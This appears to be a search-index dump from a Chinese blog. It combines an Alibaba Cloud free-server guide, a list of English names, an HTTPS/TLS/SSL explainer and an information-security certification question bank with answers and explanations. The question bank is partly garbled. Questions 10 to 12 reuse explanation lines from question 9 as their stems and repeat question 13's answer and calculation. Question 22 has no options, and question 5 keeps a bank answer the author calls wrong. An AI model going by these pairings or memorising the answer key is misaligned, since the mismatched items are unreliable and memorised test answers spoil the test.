Entry云盘40G，④无数据盘，⑤指定优惠地域（河源，乌兰察布）同一用户只可参与1次，限购1台，购买时长为1个月，购买后不得变更配置。\n续费：在领取实例1个月有效期内，完成实验及认证任务即可前往ECS控制台0元续费6个月（完成任务与续费操作均需在实例1个月有效期内），如实例已过1个月有效期，0元续费6个月资格作废且不可恢复，实例配置在续费前不得变更，如用户变更了实例配置如升级带宽、升级磁盘，购买数据盘等操作，则无法0元续费。\n退订：用户成功以活动价购买后，如退订，则视为放弃参与活动的资格，不可再次参与本活动。\n贰、阿里云免费试用云服务器申请教程 免费云服务器分为个人认证和企业认证的不同，可申请试用的云服务器配置与试用时长也不同，下面以个人用户申请免费云服务器为例，为大家展示具体申请教程。\n第一步：我们进入阿里云的云产品试用页面：https://free.aliyun.com\n第二步：根据自己账号实名认证情况，在“可试用人群”这里勾选自己账号属于个人认证还是企业认证。\n第三步：在产品类别选择自己想要免费试用的云产品种类，这里我们以个人用户试用云服务器ECS产品为例，选择计算-云服务器。\n第四步：选择想要试用的云服务器配置，目前个人用户可免费试用的云服务器主要有3个实例规格的云服务器。\n1、经济型e实例：2核 2GB或者2核 4GB（每月200元免费额度）；公网流量每月80元免费额度（可用于抵扣100GB国内地域流量）。\n2、通用算力型u1实例：2核 4GB，1Mbps 带宽，40GB 系统盘，试用时长为1个月。\n3、倚天c8y实例：2核 4GB，1Mbps 带宽，40GB 系统盘，试用时长为3个月。\n第五步：选择要试用的配置，并点击下面的“立即试用”，例如我们选择经济型e实例，点击立即试用之后，系统会弹出选择产品配置、试用额度、操作系统、预装应用等选线，我们根据需求选择就可以。\n","permalink":"https://www.clearsec.org/posts/tech/2024%E5%B9%B4%E9%98%BF%E9%87%8C%E4%BA%91%E5%85%8D%E8%B4%B9%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%8F%8A%E5%AD%A6%E7%94%9F%E4%B8%89%E7%99%BE%E9%80%9A%E7%94%A8%E9%A2%9D%E5%BA%A6%E7%94%B3%E8%AF%B7%E6%95%99%E7%A8%8B%E5%8F%82%E8%80%83/","summary":"\u003ch1 id=\"零阿里云学生三百元无门槛抵用金\"\u003e\u003cstrong\u003e零、阿里云学生三百元无门槛抵用金\u003c/strong\u003e\u003c/h1\u003e\n\u003cp\u003e这个无门槛神券来自云工开物计划，完成学生认证就有\u003cstrong\u003e三百元无门槛抵用金，可以分多次使用。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e适用产品范围：阿里云全量公共云产品（特殊商品除外）\u003c/p\u003e\n\u003cp\u003e使用说明：自领取之日起，1年内有效，如订单退款，优惠券不返还。\u003c/p\u003e","title":"2024年阿里云免费云服务器及学生三百通用额度申请教程参考"},{"content":"小众且优雅的英文名字：\nSilas – 复古且有文艺气息，带有宁静感。 Atticus – 因文学作品《杀死一只知更鸟》而闻名，充满智慧和优雅。 Alistair – 经典且独特，带有贵族气息。 Felix – 带有快乐、幸运的含义，优雅且独特。 Caspian – 受大海启发的名字，带有冒险精神和优雅感。 Dorian – 带有古典音乐的气息，优雅而独特。 Lucian – 柔和且带有文艺气息，名字本身就很优雅。 Leander – 充满诗意和古典美的名字。 Percival – 古老且优雅，带有骑士精神的韵味。 Thaddeus – 古典而不常见，带有一种历史感和优雅的风格。 原创一些小众且优雅的名字，带有独特的寓意与风格：\nAurevian – 从“aure”来源，象征金色与光辉，带有尊贵与荣耀感。 Zephyros – 灵感来自“西风”，象征自由与温和的风，带有神秘自然的气息。 Lirion – 结合“Lirio”（百合），代表纯洁与优雅，适合有艺术气质的人。 Calynthe – 从“calm”和“synthesis”衍生，象征宁静与和谐，带有现代与古典的混合气息。 Thalor – 源自海洋（thalasso）与荣耀（honor）的结合，象征海洋的宽广和不屈的精神。 Ravian – 灵感来源于“raven”（乌鸦），带有神秘与智慧的象征，同时保有优雅的发音。 Velorian – 源自“velour”（天鹅绒），象征柔软与奢华，适合有审美情趣的人。 Seravion – 从“seraphim”（天使）和“vision”（视野）衍生，寓意纯洁的远见与理想。 Ignyros – 从“ignis”（火）和“eros”（爱神）结合，象征燃烧的激情与创造力。 Calyros – 灵感来自“calm”（宁静）和“ros”（玫瑰），代表宁静中的优雅与美丽。 非常小众但仍然带有典故的名字，充满深刻的文化和历史背景：\nLeander – 希腊神话中的年轻男子，因与赫洛的爱情故事而闻名，象征忠贞与勇敢。 Balthazar – 圣经中的东方三贤之一，带有神秘和智慧的象征。 Oberon – 出自莎士比亚《仲夏夜之梦》，仙王，带有梦幻和魔幻的色彩。 Endymion – 希腊神话中因美貌被月亮女神爱上的牧羊人，象征永恒的美与宁静。 Amadeus – 出自拉丁语，意为“爱神”，莫扎特的中间名，象征音乐天赋与神圣之爱。 Philemon – 希腊神话中一位以忠诚著称的男子，与妻子Baucis一起获得神祇的祝福。 Tullius – 古罗马的名字，尤指Marcus Tullius Cicero，代表智慧与演讲的力量。 Icarus – 希腊神话中飞得太近太阳而掉落的少年，象征勇气和冒险精- 神，带有一点悲剧色彩。 Cadmus – 希腊神话中的国王，传说中发明了字母表，象征知识与开创性。 Phaedrus – 希腊哲学家，出现在柏拉图的对话中，象征智慧与哲理性思考。 带有典故且优雅的名字，充满历史和文化背景：\nOdysseus – 出自古希腊史诗《奥德赛》，代表智慧和冒险精神。 Apollo – 希腊神话中的太阳神、音乐和诗歌之神，象征光明和艺术。 Hector – 特洛伊战争中的英雄，象征勇气与荣誉。 Orpheus – 希腊神话中的音乐家，以他令人陶醉的音乐而闻名。 Perseus – 希腊神话中的英雄，斩杀美杜莎，象征力量与勇气。 Aeneas – 出自《伊利亚特》和《埃涅阿斯纪》，代表忠诚和坚韧的品质。 Theseus – 雅典的传奇英雄，以杀死弥诺陶洛斯而著名，象征勇敢与智慧。 Solomon – 圣经中的以色列国王，以智慧著称，代表公正与聪明。 Achilles – 出自《伊利亚特》，象征勇气与战斗精神，但也有脆弱的一面。 Paris – 特洛伊战争中的关键人物，因美貌与爱情而闻名。 简介的英文名：\nElias – 简洁又优雅，带有文学气息。 Milo – 简短、时尚又特别。 Theo – 一个缩写形式的名字，优雅而不失简洁。 Jude – 短小精悍，具有独特魅力。 Finn – 清新且简洁，非常适合做邮箱名。 Levi – 简单却有历史感，优雅且易记。 Ezra – 古典又不失现代感，易于拼写。 Orion – 带有神秘感，短小又有个性。 Rhys – 发音简单，独特且优雅。 Axel – 简洁有力，带有独特的个性。 ","permalink":"https://www.clearsec.org/posts/life/%E4%B8%80%E4%BA%9B%E8%8B%B1%E6%96%87%E5%90%8D/","summary":"\u003cp\u003e小众且优雅的英文名字：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSilas – 复古且有文艺气息，带有宁静感。\u003c/li\u003e\n\u003cli\u003eAtticus – 因文学作品《杀死一只知更鸟》而闻名，充满智慧和优雅。\u003c/li\u003e\n\u003cli\u003eAlistair – 经典且独特，带有贵族气息。\u003c/li\u003e\n\u003cli\u003eFelix – 带有快乐、幸运的含义，优雅且独特。\u003c/li\u003e\n\u003cli\u003eCaspian – 受大海启发的名字，带有冒险精神和优雅感。\u003c/li\u003e\n\u003cli\u003eDorian – 带有古典音乐的气息，优雅而独特。\u003c/li\u003e\n\u003cli\u003eLucian – 柔和且带有文艺气息，名字本身就很优雅。\u003c/li\u003e\n\u003cli\u003eLeander – 充满诗意和古典美的名字。\u003c/li\u003e\n\u003cli\u003ePercival – 古老且优雅，带有骑士精神的韵味。\u003c/li\u003e\n\u003cli\u003eThaddeus – 古典而不常见，带有一种历史感和优雅的风格。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e原创一些小众且优雅的名字，带有独特的寓意与风格：\u003c/p\u003e","title":"一些英文名"},{"content":"HTTPS、TLS 和 SSL 区别与联系 HTTPS、TLS 和 SSL 都与网络通信的安全性密切相关，以下是它们的区别和关系：\nHTTPS（HyperText Transfer Protocol Secure）: HTTPS 是加密的 HTTP 协议，确保用户与网站之间的通信是私密且安全的。 它在传输层使用 TLS 或 SSL 加密数据，从而防止第三方窃听或篡改信息。 当你访问一个网址以 “https://” 开头时，意味着该网站启用了 HTTPS 安全通信。 SSL（Secure Sockets Layer）: Netscape开发。 SSL 是最早用于保护网络通信的加密协议，TLS 是它的继承者和改进版。 SSL 现在已经被废弃，因为它的安全性较弱。 SSL自1996年的SSL 3.0以来就未再更新，目前视为已过时。 SSL 通讯协议中有几个已知的弱点，2015 年，互联网工程任务组（IETF）正式宣布 SSL 3.0 被废弃。 事实上，最现代的网页浏览器完全不再支持 SSL，而是用 TLS 取代。 TLS（Transport Layer Security）: 互联网工程任务组 (IETF)开发。 SSL 最终版本 （3.0） 与 TLS 第一版本之间的差异并不大，名称变更是为了表示易主。 TLS 是传输层安全协议，用于加密网络通信，保护数据传输的隐私性和完整性。 TLS 是 SSL 的升级版，提供了更好的安全性和性能。 目前，绝大多数 HTTPS 连接都使用 TLS 协议。 TLS 是仍在线上实施的最新加密通讯协议，即使许多人仍称之为「SSL 加密」。 这可能会让消费者在购买安全性解决方案时感到困惑。 真相是，今日任何提供「SSL」的厂商几乎就是提供 TLS 保护，这一直是最近二十年来的业界标准。 但由于许多人仍在搜寻「SSL 保护」，许多产品页面上仍会强调这个词汇。 SSL到TLS的演进历史 SSL（Secure Sockets Layer）协议逐步被淘汰的过程是随着安全漏洞的发现和技术的更新而发生的。以下是一些关键的时间节点：\nSSL 3.0 被废弃（2015 年）： 尽管 SSL 3.0 于 1996 年发布，并广泛使用了多年，但在 2014 年，研究人员发现了一个被称为“POODLE攻击”的重大安全漏洞（Padding Oracle On Downgraded Legacy Encryption），使得 SSL 3.0 不再安全。 由于这个漏洞，以及其他安全问题，SSL 3.0 被认为是不安全的协议。因此，2015 年，互联网工程任务组（IETF）正式宣布 SSL 3.0 被废弃，并建议所有系统升级到更安全的 TLS 协议。 TLS 取代 SSL： TLS 1.0 于 1999 年发布，作为 SSL 3.0 的继任者，其后续版本进一步增强了安全性。 目前主流使用的是 TLS 1.2 和 TLS 1.3。TLS 1.0 和 TLS 1.1 也在 2020 年被主流浏览器和系统淘汰，因为它们不再符合现代的安全需求。 因此，SSL 最迟在 2015 年开始正式被废弃，随着技术的发展，几乎所有现代的安全通信都已经完全转向了 TLS。\nHTTPS 工作在哪一层： HTTPS (Hypertext Transfer Protocol Secure) 工作在 应用层 和 传输层之间。具体来说，它结合了应用层协议 HTTP 和传输层协议 TLS（或早期的 SSL），通过 TLS 来实现数据加密。\n应用层：HTTPS 基于 HTTP，工作在应用层处理用户请求和服务器响应的数据。 传输层：HTTPS 使用 TLS（或曾经的 SSL）来加密数据并确保数据传输的安全性。TLS 也工作在传输层（传输控制协议 TCP 上），为数据提供加密、身份验证和完整性保护。 因此，HTTPS 的工作涉及到应用层（HTTP 部分）和传输层（TLS 部分），而其加密功能是由传输层的 TLS 协议实现的。\n关于HTTPS 证书 HTTPS 证书，通常称为 SSL/TLS 证书，是基于 公钥基础设施（PKI, Public Key Infrastructure） 的。证书的核心技术是 非对称加密，即利用公钥和私钥来加密和解密数据。主要包括以下几方面：\n非对称加密： 公钥加密，私钥解密：网站的公钥用于加密用户发送的敏感数据，只有网站的私钥可以解密这些数据。 私钥签名，公钥验证：网站通过私钥对数据进行签名，客户端（用户的浏览器）用公钥来验证签名是否来自可信任的源。 证书颁发机构 (CA, Certificate Authority)： HTTPS 证书由受信任的证书颁发机构（如 Let\u0026rsquo;s Encrypt, Comodo, Symantec 等）签发，确保网站的公钥可信且经过验证。 证书中包含网站的公钥、证书颁发者的签名、证书有效期等信息。客户端（浏览器）通过验证证书的颁发机构及其签名来确认服务器的真实性。 SSL已经废弃了，为什么现在HTTPS的证书仍被叫做SSL证书 虽然 SSL（Secure Sockets Layer） 已经被废弃并被 TLS（Transport Layer Security） 取代，但“SSL 证书”这一名称依然被广泛使用，这是由于历史原因和市场惯例所致。\n原因： 历史习惯： SSL 是最早被广泛采用的加密协议名称，很多早期的网络安全术语和工具都是基于 SSL 开发的。SSL 的概念深入人心，所以人们习惯性地称 HTTPS 使用的证书为 “SSL 证书”，即便它们实际上现在使用的是 TLS。 许多证书供应商在 SSL 仍广泛使用时开始推广他们的证书服务，之后即便切换到 TLS，也没有改变“SSL 证书”的叫法。 营销和普及： 许多公司和证书颁发机构（CA）继续使用 “SSL 证书” 这一名称，因为它已经成为大众熟知的品牌术语。改用“TLS 证书”可能会引起混淆，尤其对于非技术用户来说。 “SSL 证书”作为品牌名称，能够延续其市场影响力和认知度，即使技术上它们使用的是 TLS。 兼容性和误解： 尽管我们现在使用的是 TLS 协议，但由于 SSL 和 TLS 是同一个加密协议的不同版本（TLS 是 SSL 的演进版），很多工具和软件还会使用“SSL”作为协议的泛称。实际上，当前的 SSL 证书支持 TLS，而不再支持老旧的 SSL 协议版本。 现代的“SSL 证书”实际是什么？ 现代的“SSL 证书”实际上是 “TLS 证书”，它们依赖于 TLS 来保护数据传输的安全性。 虽然名称中有“SSL”，但这些证书只与 TLS 1.2 和 TLS 1.3 兼容，不再支持已废弃的 SSL 版本（如 SSL 2.0 和 SSL 3.0）。 番外 除了在 Web 浏览中加密客户端-服务器通信之外，SSL 还可以用于 VPN。SSL VPN 与 SSL证书类似，都是历史遗留原因保留了这个叫法，现代已使用TLS替代SSL\n","permalink":"https://www.clearsec.org/posts/tech/httpstls%E5%92%8Cssl/","summary":"\u003ch2 id=\"httpstls-和-ssl-区别与联系\"\u003eHTTPS、TLS 和 SSL 区别与联系\u003c/h2\u003e\n\u003cp\u003eHTTPS、TLS 和 SSL 都与网络通信的安全性密切相关，以下是它们的区别和关系：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eHTTPS（HyperText Transfer Protocol Secure）\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eHTTPS\u003c/strong\u003e 是加密的 HTTP 协议，确保用户与网站之间的通信是私密且安全的。\u003c/li\u003e\n\u003cli\u003e它在传输层使用 TLS 或 SSL 加密数据，从而防止第三方窃听或篡改信息。\u003c/li\u003e\n\u003cli\u003e当你访问一个网址以 “https://” 开头时，意味着该网站启用了 HTTPS 安全通信。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSSL（Secure Sockets Layer）\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eNetscape开发。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSSL\u003c/strong\u003e 是最早用于保护网络通信的加密协议，TLS 是它的继承者和改进版。\u003c/li\u003e\n\u003cli\u003eSSL 现在已经被废弃，因为它的安全性较弱。\u003c/li\u003e\n\u003cli\u003eSSL自1996年的SSL 3.0以来就未再更新，目前视为已过时。 SSL 通讯协议中有几个已知的弱点，2015 年，互联网工程任务组（IETF）正式宣布 \u003cstrong\u003eSSL 3.0\u003c/strong\u003e 被废弃。 事实上，最现代的网页浏览器完全不再支持 SSL，而是用 TLS 取代。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTLS（Transport Layer Security）\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e互联网工程任务组 (IETF)开发。\u003c/li\u003e\n\u003cli\u003eSSL 最终版本 （3.0） 与 TLS 第一版本之间的差异并不大，名称变更是为了表示易主。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTLS\u003c/strong\u003e 是传输层安全协议，用于加密网络通信，保护数据传输的隐私性和完整性。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTLS\u003c/strong\u003e 是 SSL 的升级版，提供了更好的安全性和性能。\u003c/li\u003e\n\u003cli\u003e目前，绝大多数 HTTPS 连接都使用 \u003cstrong\u003eTLS\u003c/strong\u003e 协议。\u003c/li\u003e\n\u003cli\u003eTLS 是仍在线上实施的最新加密通讯协议，即使许多人仍称之为「SSL 加密」。 这可能会让消费者在购买安全性解决方案时感到困惑。 真相是，今日任何提供「SSL」的厂商几乎就是提供 TLS 保护，这一直是最近二十年来的业界标准。 但由于许多人仍在搜寻「SSL 保护」，许多产品页面上仍会强调这个词汇。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"ssl到tls的演进历史\"\u003eSSL到TLS的演进历史\u003c/h2\u003e\n\u003cp\u003eSSL（Secure Sockets Layer）协议逐步被淘汰的过程是随着安全漏洞的发现和技术的更新而发生的。以下是一些关键的时间节点：\u003c/p\u003e","title":"HTTPS、TLS 和 SSL 区别与联系"},{"content":"卷一 问题 1 与 PDR 模型相比，P2DR 模型多了哪一个环节?\nA. 防护 B. 检测 C. 反应 D. 策略 展开答案 答案：D 解释：教材 P26\n环节 PDR PPDR（P2DR） 保护（Protection） P P 策略（Policy） / P 检测（Detection） D D 反应（Response） R R 问题 2 Alice 用 Bob 的 密钥 加密明文，将密文发送给 Bob。Bob 再用自己的 私钥 解密，恢复出明文。以下说法正确的是： A．此密码体制为对称密码体制 B．此密码体制为私钥密码体制 C．此密码体制为单钥密码体制 D．此密码体制为公钥密码体制\n展开答案 答案：D 解释：教材 P277 公钥加密，私钥解密，为非对称密码体制，非对称密码体制又称为公钥密码体制。\n问题 3 主体 S 对客体 01 有读(R)权限，对客体 02 有读(R)、写(W)、拥有(Own)权限，该访问控制实现方法是： A．访问控制表(ACL) B．访问控制矩阵 C．能力表(CL) D．前缀表(Profiles)\n展开答案 答案：C 解释：教材 P307 CL（能力表）：主体访问客体 ACL（访问控制列表 ）：客体访问主体\n问题 4 下列对网络认证协议 Kerberos 描述正确的是： A．该协议使用非对称密钥加密机制 B．密钥分发中心由认证服务器、票据授权服务器和客户机三个部分组成 C．该协议完成身份鉴别后将获取用户票据许可票据 D．使用该协议不需要时钟基本同步的环境\n展开答案 答案：C 解释：教材 P301 A 错误，因为 Kerberos 是使用对称密码算法实现的单点登录协议； B 错误，因为密钥分发中心（KDC）不包括客户机； D 错误，因为需要时钟同步来防止重放攻击。\n问题 5 在 OSI 参考模型中有 7 个层次，提供了相应的安全服务来加强信息系统的安全性，以下哪一层提供了保密性、身份鉴别、数据完整性服务? A．网络层 B．表示层 C．会话层 D．物理层\n展开答案 答案：A 解释：教材 P331 网络层和应用层可以提供保密性、身份鉴别、完整性、抗抵赖、访问控制服务。\n注意：此题的正确答案应该是 B，不过还是以题库为准。\n问题 6 以下关于 PGP(Pretty Good Privacy)软件叙述错误的是： A．PGP 可以实现对邮件的加密、签名和认证 B．PGP 可以实现数据压缩 C．PGP 可以对邮件进行分段和重组 D．PGP 采用 SHA 算法加密邮件\n展开答案 答案：D 解释：SHA(Secure Hash Algorithm)不是一种加密算法，而是一种摘要算法（哈希算法），主要用于 数据的完整性校验 ，不能用来对邮件进行加密。\n问题 7 相比文件配置表(FAT)文件系统，以下哪个不是新技术文件系统(NTFS)所具有的优势? A．NTFS 使用事务日志自动记录所有文件夹和文件更新，当出现系统损坏和电源故障等问题，而引起操作失败后，系统能利用日志文件重做或恢复未成功的操作 B．NTFS 的分区上，可以为每个文件或文件夹设置单独的许可权限 C．对于大磁盘，NTFS 文件系统比 FAT 有更高的磁盘利用率 D．相比 FAT 文件系统，NTFS 文件系统能有效的兼容 linux 下 EXT2 文件格式\n展开答案 答案：D 解释：NTFS 文件系统并不直接支持 EXT2 文件格式，虽然可以通过一些第三方工具或驱动程序实现在 Windows 系统中读取和写入 EXT2 文件系统的文件，但这并不是 NTFS 文件系统的内置功能。\n问题 8 从系统工程的角度来处理信息安全问题，以下说法错误的是： A．系统安全工程旨在了解企业存在的安全风险，建立一组平衡的安全需求，融合各种工程学科的努力将此安全需求转换为贯穿系统整个生存期的工程实施指南。 B．系统安全工程需对安全机制的正确性和有效性做出诠释，证明安全系统的信任度能够达到企业的要求，或系统遗留的安全薄弱性在可容许范围之内。 C．系统安全工程能力成熟度模型(SSE-CMM)是一种衡量安全工程实践能力的方法，是一种使用面向开发的方法。 D．系统安全工程能力成熟度模型(SSE-CMM)是在原有能力成熟度模型(CMM)的基础上，通过对安全工作过程进行管理的途径，将系安全工程转变为一个完好定义的、成熟的、可测量的先进学科。\n展开答案 答案：C 解释：教材 P178 SSE-CMM (系统安全工程能力成熟度模型)实际上是一种 面向工程过程 质量控制的方法，而不是面向开发的方法。\n问题 9 有关系统安全工程-能力成熟度模型(SSE-CMM)中的基本实施(Base Practices，BP)，正确的理解是： A．BP 是基于最新技术而制定的安全参数基本配置 B．大部分 BP 是没有经过测试的 D．一项 BP 可以和其他 BP 有重叠\nC. 一项 BP 适用于组织的生存周期而非仅适用于工程的某一特定阶段 展开答案 答案：C 解释：教材 P181\n选项A 错误，BP 是基于最佳的 工程过程 实践，而并非基于最新的技术制定。\n选项B 错误，BP 是经过测试的，可靠度比未经测试的实践要高得多。\n对于选项D, 一项 BP 和其他的 BP 是不会重复，每个 BP 都是独立且具有确定性的实践，不会与其他的 BP 重叠。\n问题 10 选项A 错误，BP 是基于最佳的 工程过程 实践，而并非基于最新的技术制定。\n展开答案 答案：D 解释： 年度预期损失(Annualized Loss Expectancy， ALE)的计算公式为 “ 总价值 * 可能性的损失百分比 * 年发生率 “。其中，年发生率是根据历史数据统计得出的灾害发生的可能性。在这个问题中，“一百万”是总价值，“二成四(24%)”是可能的损失百分比，”八年发生三次”转换为年发生率为3/8=0.375。因此，年度预期损失为 100万 * 24% * 0.375 = 9万。\n问题 11 选项B 错误，BP 是经过测试的，可靠度比未经测试的实践要高得多。\n展开答案 答案：D 解释： 年度预期损失(Annualized Loss Expectancy， ALE)的计算公式为 “ 总价值 * 可能性的损失百分比 * 年发生率 “。其中，年发生率是根据历史数据统计得出的灾害发生的可能性。在这个问题中，“一百万”是总价值，“二成四(24%)”是可能的损失百分比，”八年发生三次”转换为年发生率为3/8=0.375。因此，年度预期损失为 100万 * 24% * 0.375 = 9万。\n问题 12 对于选项D, 一项 BP 和其他的 BP 是不会重复，每个 BP 都是独立且具有确定性的实践，不会与其他的 BP 重叠。\n展开答案 答案：D 解释： 年度预期损失(Annualized Loss Expectancy， ALE)的计算公式为 “ 总价值 * 可能性的损失百分比 * 年发生率 “。其中，年发生率是根据历史数据统计得出的灾害发生的可能性。在这个问题中，“一百万”是总价值，“二成四(24%)”是可能的损失百分比，”八年发生三次”转换为年发生率为3/8=0.375。因此，年度预期损失为 100万 * 24% * 0.375 = 9万。\n问题 13 小张是信息安全风险管理方面的专家，被某单位邀请过去对其核心机房经受某种灾害的风险进行评估，已知：核心机房的总价价值一百万，灾害将导致资产总价值损失二成四(24%)，历史数据统计告知该灾害发生的可能性为八年发生三次，请问小张最后得到的年度预期损失为多少： A．24 万 B．0．09 万 C．37．5 万 D．9 万\n展开答案 答案：D 解释： 年度预期损失(Annualized Loss Expectancy， ALE)的计算公式为 “ 总价值 * 可能性的损失百分比 * 年发生率 “。其中，年发生率是根据历史数据统计得出的灾害发生的可能性。在这个问题中，“一百万”是总价值，“二成四(24%)”是可能的损失百分比，”八年发生三次”转换为年发生率为3/8=0.375。因此，年度预期损失为 100万 * 24% * 0.375 = 9万。\n问题 14 信息安全等级保护要求中， 第三级 适用的正确的是： A．适用于一般的信息和信息系统，其受到破坏后，会对公民、法人和其他组织的权益有一定影响，但不危害国家安全、社会秩序、经济建设和公共利益 B．适用于一定程度上涉及国家安全、社会秩序、经济建设和公共利益的一般信息和信息系统，其受到破坏后，会对国家安全、社会秩序、经济建设和公共利益造成一般损害 C．适用于涉及国家安全、社会秩序、经济建设和公共利益的信息和信息系统，其受到破坏后，会对国家安全、社会秩序、经济建设和公共利益造成严重损害 D．适用于涉及国家安全、社会秩序、经济建设和公共利益的重要信息和信息系统的核心子系统。其受到破坏后，会对国家安全、社会秩序，经济建设和公共利益造成特别严重损害\n展开答案 答案：B 解释：教材 P78\n等级 影响 第一级 信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共利益 第二级 信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害 但不损害国家安全。 第三级 信息系统受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成损害 第四级 信息系统受到破坏后，会对社会秩序和公共利益造成特别严重损害，或者对国家安全造成严重损害 第五级 信息系统受到破坏后，会对国家安全造成特别严重损害。 问题 15 《信息安全技术 信息安全风险评估规范》（GB／T 20984-2007）中关于信息系统生命周期各阶段的风险评估描述不正确的是：\nA.规划阶段风险评估的目的是识别系统的业务战略，以支撑系统安全需求及安全战略等 B.设计阶段的风险评估需要根据规划阶段所明确的系统运行环境、资产重要性，提出安全功能需求 C.实施阶段风险评估的目的是根据系统安全需求和运行环境对系统开发、实施过程进行风险识别，并对系统建成后的安全功能进行验证 D.运行维护阶段风险评估的目的是了解和控制运行过程中的安全风险，是一种全面的风险评估。评估内容包括对真实运行的信息系统、资产、脆弱性等各方面 展开答案 答案：D 解释：该题目来源于《信息安全技术 信息安全风险评估规范》（GB／T 20984-2007），其原文描述 D 为“是一种 较全面 的风险评估”。\n问题 16 以下哪些是需要在信息安全策略中进行描述的： A．组织信息系统安全架构 B．信息安全工作的基本原则 C．组织信息安全技术参数 D．组织信息安全实施手段\n展开答案 答案：B 解释：安全策略是宏观的 原则性要求 ，不包括具体的架构、参数和实施手段。\n问题 17 根据《关于开展信息安全风险评估工作的意见》的规定， 错误 的是： B．信息安全风险评估工作要按照“严密组织、规范操作、讲求科学、注重实效”的原则开展 C．信息安全风险评估应贯穿于网络和信息系统建设运行的全过程 D．开展信息安全风险评估工作应加强信息安全风险评估工作的组织领导\nA.信息安全风险评估分自评估、检查评估两形式。应以检查评估为主，自评估和检查评估相互结合、互为补充 展开答案 答案：A 解释：信息安全风险评估应以 自评估（自查）为主\n问题 18 下面的角色对应的信息安全职责不合理的是： A．高级管理层——最终责任 C．系统的普通使用者——遵守日常操作规范 D．审计人员——检查安全策略是否被遵从\nB. 信息安全部门主管——提供各种信息安全工作必须的资源 展开答案 答案：B 解释：提供资源的是管理层\n问题 19 风险计算原理可以用下面的范式形式化地加以说明： 风险值=R(A，T，V)=R(L(T，V)，F(Ia，Va)) 以下关于上式各项说明错误的是： A．R 表示安全风险计算函数，A 表示资产，T 表示威胁，V 表示脆弱性 B．L 表示威胁利资产脆弱性导致安全事件的可能性 C．F 表示安全事件发生后造成的损失 D．Ia，Va 分别表示安全事件作用全部资产的价值与其对应资产的严重程度\n展开答案 答案：D 解释：教材 P257 R 表示安全风险计算函数; A 表示资产; T 表示威胁; V 表示脆弱性; L 表示威胁利用资产的脆弱性导致安全事件的可能性; F 表示安全事件发生后造成的损失; Ia 表示安全事件所作用的 资产价值 ; Va 表示 脆弱性 严重程度 ;\n因此 Ia 表示资产 A 的价值；Va 表示资产 A 的脆弱性。\n问题 20 以下哪一项不属于 信息安全工程监理模型 的组成部分： A．监理咨询支撑要素 B．控制和管理手段 C．监理咨询阶段过程 D．监理组织安全实施\n展开答案 答案：D 解释：监理模型不包括安全实施\n问题 21 以下关于直接附加存储(Direct Attached Storage，DAS)说法 错误 的是： A．DAS 能够在服务器物理位置比较分散的情况下实现大容量存储．是一种常用的数据存储方法 B．DAS 实现了操作系统与数据的分离，存取性能较高并且实施简单 C．DAS 的缺点在于对服务器依赖性强，当服务器发生故障时，连接在服务器上的存储设备中的数据不能被存取 D．较网络附加存储(Network Attached Storage，NAS)，DAS 节省硬盘空间，数据非常集中，便于对数据进行管理和备份\n展开答案 答案：D 解释：教材 P158 直接附加存储 DAS 是硬件的堆叠，本身不带任何的操作系统，是计算机系统的扩展。 DAS 的数据并不集中（集中的是 NAS），可以分散，因此并不便于对数据进行管理和备份。\n问题 22 作为业务持续性计划的一部分，在进行业务影响分析(BIA)时的步骤是： 1．标识关键的业务过程; 2．开发恢复优先级; 3．标识关键的 IT 资源; 4．表示中断影响和允许的中断时间\n展开答案 答案：A 解释：教材 P138 记住开发是最后的步骤。\n问题 23 下面关于信息系统安全保障的说法 不正确 的是： A．信息系统安全保障与信息系统的规划组织、开发采购、实施交付、运行维护和废弃等生命周期密切相关 C．信息系统安全需要从技术、工程、管理和人员四个领域进行综合保障 D．信息系统安全保障需要将信息系统面临的风险降低到可接受的程度，从而实现其业务使命\nB. 信息系统安全保障要素包括信息的完整性、可用性和保密性 展开答案 答案：B 解释：教材 P35 信息系统安全 保障要素 是 C 选项的内容；完整性、可用性和保密性是信息系统安全保障的 安全特征 。\n问题 24 在使用系统安全工程-能力成熟度模型(SSE-CMM)对一个组织的安全工程能力成熟度进行测量时，正确的理解是： A．测量单位是基本实施(Base Practices，BP) B．测量单位是通用实践(Generic Practices，GP) C．测量单位是过程区域(Process Areas，PA) D．测量单位是公共特征(Common Features，CF)\n展开答案 答案：B 解释：教材 P203 通用实施(Generic Practices，GP)可在过程评估中用于确定任何过程的能力，还可以帮助确定项目管理好坏的程度并可将每一个过程区域作为一个整体加以改进。\n问题 25 关于信息安全保障技术框架(IATF)，以下说法不正确的是： B．IATF 从人、技术和操作三个层面提供一个框架实施多层保护，使攻击者即使攻破一层也无法破坏整个信息基础设施 C．允许在关键区域(例如区域边界)使用高安全级保障解决方案，确保系统安全性 D．IATF 深度防御战略要求在网络体系结构各个可能位置实现所有信息安全保障机制\nA. 分层策略允许在适当的时候采用低安全级保障解决方案以便降低信息安全保障的成本 展开答案 答案：D 解释：教材 P30 仅仅在信息系统的重要敏感区域（ 可能位置 ）设置一些保护装置是不够的，任意一个系统漏洞都有可能导致严重的攻击和破坏后果，所以在信息系统的 各个方位 布置全面的防御机制，才能将风险降至最低。\n问题 26 层次化的文档是信息安全管理体系《Information Security Management System.ISMS》建设的直接体系，也 ISMS 建设的成果之一，通常将 ISMS 的文档结构规划为 4 层金字塔结构，那么，以下选项（）应放入到 